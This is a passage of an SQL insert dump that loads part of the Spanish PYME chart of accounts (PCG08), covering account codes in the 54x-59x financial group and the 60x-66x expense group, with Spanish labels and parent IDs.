deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4438,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','547',4430,'Intereses a corto plazo de créditos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4439,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','548',4430,'Imposiciones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4440,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','549',4430,'Desembolsos pendientes sobre participaciones en el patrimonio neto a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4441,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','55',4005,'Otras cuentas no bancarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4442,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','550',4441,'Titular de la explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4443,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','551',4441,'Cuenta corriente con socios y administradores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4444,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','552',4441,'Cuenta corriente otras personas y entidades vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4445,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5523',4444,'Cuenta corriente con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4446,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5524',4444,'Cuenta corriente con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4447,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5525',4444,'Cuenta corriente con otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4448,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','554',4441,'Cuenta corriente con uniones temporales de empresas y comunidades de bienes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4449,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','555',4441,'Partidas pendientes de aplicación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4450,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','556',4441,'Desembolsos exigidos sobre participaciones en el patrimonio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4451,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5563',4450,'Desembolsos exigidos sobre participaciones empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4452,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5564',4450,'Desembolsos exigidos sobre participaciones empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4453,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5565',4450,'Desembolsos exigidos sobre participaciones otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4454,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5566',4450,'Desembolsos exigidos sobre participaciones otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4455,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','557',4441,'Dividendo activo a cuenta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4456,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','558',4441,'Socios por desembolsos exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4457,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5580',4456,'Socios por desembolsos exigidos sobre acciones o participaciones ordinarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4458,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5585',4456,'Socios por desembolsos exigidos sobre acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4459,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','559',4441,'Derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4460,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5590',4459,'Activos por derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4461,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5595',4459,'Pasivos por derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4462,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','56',4005,'Finanzas y depósitos recibidos y constituidos a corto plazo y ajustes por periodificación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4463,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','560',4462,'Finanzas recibidas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4464,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','561',4462,'Depósitos recibidos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4465,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','565',4462,'Finanzas constituidas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4466,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','566',4462,'Depósitos constituidos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4467,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','567',4462,'Intereses pagados por anticipado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4468,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','568',4462,'Intereses cobrados a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4469,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','57',4005,'Tesorería',NULL,0,NULL,NULL,1,0,NULL,NULL),(4470,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','570',4469,'Caja euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4471,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','571',4469,'Caja moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4472,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','572',4469,'Bancos e instituciones de crédito cc vista euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4473,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','573',4469,'Bancos e instituciones de crédito cc vista moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4474,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','574',4469,'Bancos e instituciones de crédito cuentas de ahorro euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4475,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','575',4469,'Bancos e instituciones de crédito cuentas de ahorro moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4476,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','576',4469,'Inversiones a corto plazo de gran liquidez',NULL,0,NULL,NULL,1,0,NULL,NULL),(4477,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','59',4005,'Deterioro del valor de las inversiones financieras a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4478,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','593',4477,'Deterioro del valor de participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4479,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5933',4478,'Deterioro del valor de participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4480,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5934',4478,'Deterioro del valor de participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4481,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5935',4478,'Deterioro del valor de participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4482,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','594',4477,'Deterioro del valor de valores representativos de deuda a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4483,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5943',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4484,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5944',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4485,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5945',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4486,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','595',4477,'Deterioro del valor de créditos a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4487,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5953',4486,'Deterioro del valor de créditos a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4488,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5954',4486,'Deterioro del valor de créditos a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4489,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5955',4486,'Deterioro del valor de créditos a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4490,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','596',4477,'Deterioro del valor de participaciones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4491,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','597',4477,'Deterioro del valor de valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4492,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','598',4477,'Deterioro de valor de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4493,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','60',4006,'Compras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4494,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','600',4493,'Compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4495,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','601',4493,'Compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4496,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','602',4493,'Compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4497,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','606',4493,'Descuentos sobre compras por pronto pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4498,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6060',4497,'Descuentos sobre compras por pronto pago de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4499,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6061',4497,'Descuentos sobre compras por pronto pago de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4500,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6062',4497,'Descuentos sobre compras por pronto pago de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4501,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','607',4493,'Trabajos realizados por otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4502,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','608',4493,'Devoluciones de compras y operaciones similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4503,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6080',4502,'Devoluciones de compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4504,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6081',4502,'Devoluciones de compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4505,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6082',4502,'Devoluciones de compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4506,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','609',4493,'Rappels por compras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4507,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6090',4506,'Rappels por compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4508,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6091',4506,'Rappels por compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4509,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6092',4506,'Rappels por compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4510,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','61',4006,'Variación de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4511,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','610',4510,'Variación de existencias de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4512,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','611',4510,'Variación de existencias de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4513,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','612',4510,'Variación de existencias de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4514,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','62',4006,'Servicios exteriores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4515,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','620',4514,'Gastos en investigación y desarrollo del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4516,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','621',4514,'Arrendamientos y cánones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4517,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','622',4514,'Reparaciones y conservación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4518,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','623',4514,'Servicios profesionales independientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4519,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','624',4514,'Transportes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4520,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','625',4514,'Primas de seguros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4521,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','626',4514,'Servicios bancarios y similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4522,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','627',4514,'Publicidad, propaganda y relaciones públicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4523,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','628',4514,'Suministros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4524,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','629',4514,'Otros servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4525,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','63',4006,'Tributos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4526,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','630',4525,'Impuesto sobre benecifios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4527,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6300',4526,'Impuesto corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4528,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6301',4526,'Impuesto diferido',NULL,0,NULL,NULL,1,0,NULL,NULL),(4529,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','631',4525,'Otros tributos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4530,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','633',4525,'Ajustes negativos en la imposición sobre beneficios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4531,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','634',4525,'Ajustes negativos en la imposición indirecta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4532,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6341',4531,'Ajustes negativos en IVA de activo corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4533,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6342',4531,'Ajustes negativos en IVA de inversiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4534,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','636',4525,'Devolución de impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4535,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','638',4525,'Ajustes positivos en la imposición sobre beneficios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4536,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','639',4525,'Ajustes positivos en la imposición directa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4537,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6391',4536,'Ajustes positivos en IVA de activo corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4538,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6392',4536,'Ajustes positivos en IVA de inversiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4539,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','64',4006,'Gastos de personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4540,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','640',4539,'Sueldos y salarios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4541,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','641',4539,'Indemnizaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4542,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','642',4539,'Seguridad social a cargo de la empresa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4543,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','649',4539,'Otros gastos sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4544,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','65',4006,'Otros gastos de gestión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4545,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','650',4544,'Pérdidas de créditos comerciales incobrables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4546,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','651',4544,'Resultados de operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4547,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6510',4546,'Beneficio transferido gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4548,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6511',4546,'Pérdida soportada participe o asociado no gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4549,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','659',4544,'Otras pérdidas en gestión corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4550,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','66',4006,'Gastos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4551,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','660',4550,'Gastos financieros por actualización de provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4552,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','661',4550,'Intereses de obligaciones y bonos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4553,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6610',4452,'Intereses de obligaciones y bonos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4554,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6611',4452,'Intereses de obligaciones y bonos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4555,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6612',4452,'Intereses de obligaciones y bonos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4556,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6613',4452,'Intereses de obligaciones y bonos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4557,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6615',4452,'Intereses de obligaciones y bonos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4558,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6616',4452,'Intereses de obligaciones y bonos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4559,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6617',4452,'Intereses de obligaciones y bonos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4560,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6618',4452,'Intereses de obligaciones y bonos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4561,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','662',4550,'Intereses de deudas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4562,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6620',4561,'Intereses de deudas empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4563,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6621',4561,'Intereses de deudas empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4564,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6622',4561,'Intereses de deudas otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4565,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6623',4561,'Intereses de deudas con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4566,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6624',4561,'Intereses de deudas otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4567,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','663',4550,'Pérdidas por valorización de activos y pasivos financieros por su valor razonable',NULL,0,NULL,NULL,1,0,NULL,NULL),(4568,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','664',4550,'Gastos por dividendos de acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4569,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6640',4568,'Dividendos de pasivos empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4570,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6641',4568,'Dividendos de pasivos empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4571,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6642',4568,'Dividendos de pasivos otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4572,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6643',4568,'Dividendos de pasivos otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4573,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','665',4550,'Intereses por descuento de efectos y operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4574,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6650',4573,'Intereses por descuento de efectos en entidades de crédito del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4575,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6651',4573,'Intereses por descuento de efectos en entidades de crédito asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4576,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6652',4573,'Intereses por descuento de efectos en entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4577,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6653',4573,'Intereses por descuento de efectos en otras entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4578,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6654',4573,'Intereses por operaciones de factoring con entidades de crédito del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4579,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6655',4573,'Intereses por operaciones de factoring con entidades de crédito asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4580,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6656',4573,'Intereses por operaciones de factoring con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4581,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6657',4573,'Intereses por operaciones de factoring con otras entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4582,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','666',4550,'Pérdidas en participaciones y valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4583,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6660',4582,'Pérdidas en valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4584,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6661',4582,'Pérdidas en valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4585,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6662',4582,'Pérdidas en valores representativos de deuda a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4586,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6663',4582,'Pérdidas en participaciones y valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4587,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6665',4582,'Pérdidas en participaciones y valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4588,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6666',4582,'Pérdidas en participaciones y valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4589,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6667',4582,'Pérdidas en valores representativos de deuda a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4590,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6668',4582,'Pérdidas en valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4591,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','667',4550,'Pérdidas de créditos no comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4592,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6670',4591,'Pérdidas de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4593,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6671',4591,'Pérdidas de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4594,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6672',4591,'Pérdidas de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4595,1,NULL,'2018-01-19 